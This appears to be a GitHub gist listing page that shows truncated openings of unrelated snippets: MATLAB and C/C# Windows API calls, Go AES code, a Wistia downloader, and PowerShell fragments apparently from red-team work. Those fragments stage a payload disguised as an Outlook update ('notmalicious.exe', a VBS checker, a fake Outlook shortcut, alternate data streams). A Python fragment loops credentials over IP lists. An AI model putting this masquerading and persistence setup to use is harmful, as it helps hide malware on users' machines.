This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| if not(libisloaded('kernel32')) | |
| loadlibrary('kernel32.dll', @kernel32proto); % Cambiamos a kernel32.dll | |
| end | |
| frequency = uint32(750); | |
| duration = uint32(1000); | |
| result = calllib('kernel32', 'Beep', frequency, duration); | |
| disp(['Beep result: ', num2str(result)]); | |
| unloadlibrary('kernel32'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| if not(libisloaded('user32')) | |
| loadlibrary('user32.dll', @user32proto); | |
| end | |
| hWnd = uint32(0); | |
| lpText = 'Hello from MATLAB'; | |
| lpCaption = 'MATLAB MessageBox'; | |
| uType = uint32(0); | |
| result = calllib('user32', 'MessageBoxA', hWnd, lpText, lpCaption, uType); | |
| disp(['MessageBox returned: ', num2str(result)]); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <Windows.h> | |
| #include <winternl.h> | |
| #include <stdio.h> | |
| // Declaración de ZwOpenFile | |
| typedef NTSTATUS(NTAPI* ZwOpenFile_t)( | |
| PHANDLE FileHandle, | |
| ACCESS_MASK DesiredAccess, | |
| POBJECT_ATTRIBUTES ObjectAttributes, | |
| PIO_STATUS_BLOCK IoStatusBlock, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| using System; | |
| using System.Runtime.InteropServices; | |
| class NtOpenFileExample | |
| { | |
| // Import NtOpenFile from ntdll.dll | |
| [DllImport("ntdll.dll")] | |
| private static extern int NtOpenFile( | |
| out IntPtr FileHandle, | |
| uint DesiredAccess, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $Dir = "$($env:USERPROFILE)\Appdata\Local\temp" | |
| $File = "$($env:COMPUTERNAME).tmp" | |
| $ExeFile = "calc.exe" | |
| $Url = "http://127.0.0.1:80" | |
| $IcoFile = "microsoft-outlook.ico" | |
| $SharpADS = "SharpADS.exe" | |
| $ADSexe = "ADS.exe" | |
| $ADSico = "ADS.ico" | |
| $ADSvbs = "ADS.vbs" | |
| $LnkFile = "OutlookUpdate.lnk" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $Dir="C:\ProgramData\Outlook" | |
| $ExeFile = "notmalicious.exe" | |
| $VbsFile = "CheckUpdate.vbs" | |
| $LnkFile = "Outlook.lnk" | |
| $IcoFile = "microsoft-outlook.ico" | |
| ## Unhidden and delete files from Dir | |
| cmd /c "dir /a $Dir" | |
| attrib -h $Dir\$ExeFile | |
| attrib -h $Dir\$VbsFile |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $Url = "http://127.0.0.1:8080" | |
| $Dir="C:\ProgramData\Outlook" | |
| $ExeFile = "notmalicious.exe" | |
| $VbsFile = "CheckUpdate.vbs" | |
| $LnkFile = "Outlook.lnk" | |
| $IcoFile = "microsoft-outlook.ico" | |
| ## Create directory | |
| echo "Creating directory $Dir" | |
| mkdir $Dir |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Source: https://gist.githubusercontent.com/aziza-kasenova/3aea2160cbaebc5a4ba1b9219cba612e/raw/32b3801369ce669b2b1bf89ca84d24f23b487579/AES256.go | |
| package main | |
| import ( | |
| "bytes" | |
| "crypto/aes" | |
| "crypto/cipher" | |
| "encoding/base64" | |
| "fmt" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import subprocess | |
| ip_list_file = "" | |
| user = "" | |
| domain = "" | |
| password = "" | |
| ip_list = open(ip_list_file).read().splitlines() | |
| for ip_address in ip_list: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Script to download videos hosted in Wistia by right-clicking the video and pasting the “Copy link and thumbnail” info as the 1st parameter of this script | |
| # The 2nd parameter is optional, the video name. Working at March of 2022, it downloads the video with higher quality | |
| # Syntax: | |
| # python3 wistia_downloader.py 'copied info with right click' 'file name' | |
| # Example with the video from https://wistia.com/: | |
| # python3 wistia_downloader.py '<p><a href="https://wistia.com?wvideo=vhkqhqhzyq"><img src="https://embedwistia-a.akamaihd.net/deliveries/48f1d62d1ceddb4284ad9cf67c916235.jpg?image_play_button_size=2x&image_crop_resized=960x540&image_play_button=1&image_play_button_color=fa4fa0e0" width="400" height="225" style="width: 400px; height: 225px;"></a></p><p><a href="https://wistia.com?wvideo=vhkqhqhzyq">The video hosting platform made for B2B marketers | Wistia</a></p>' "test.mp4" | |
| import requests | |
| import json | |
| import bs4 |
NewerOlder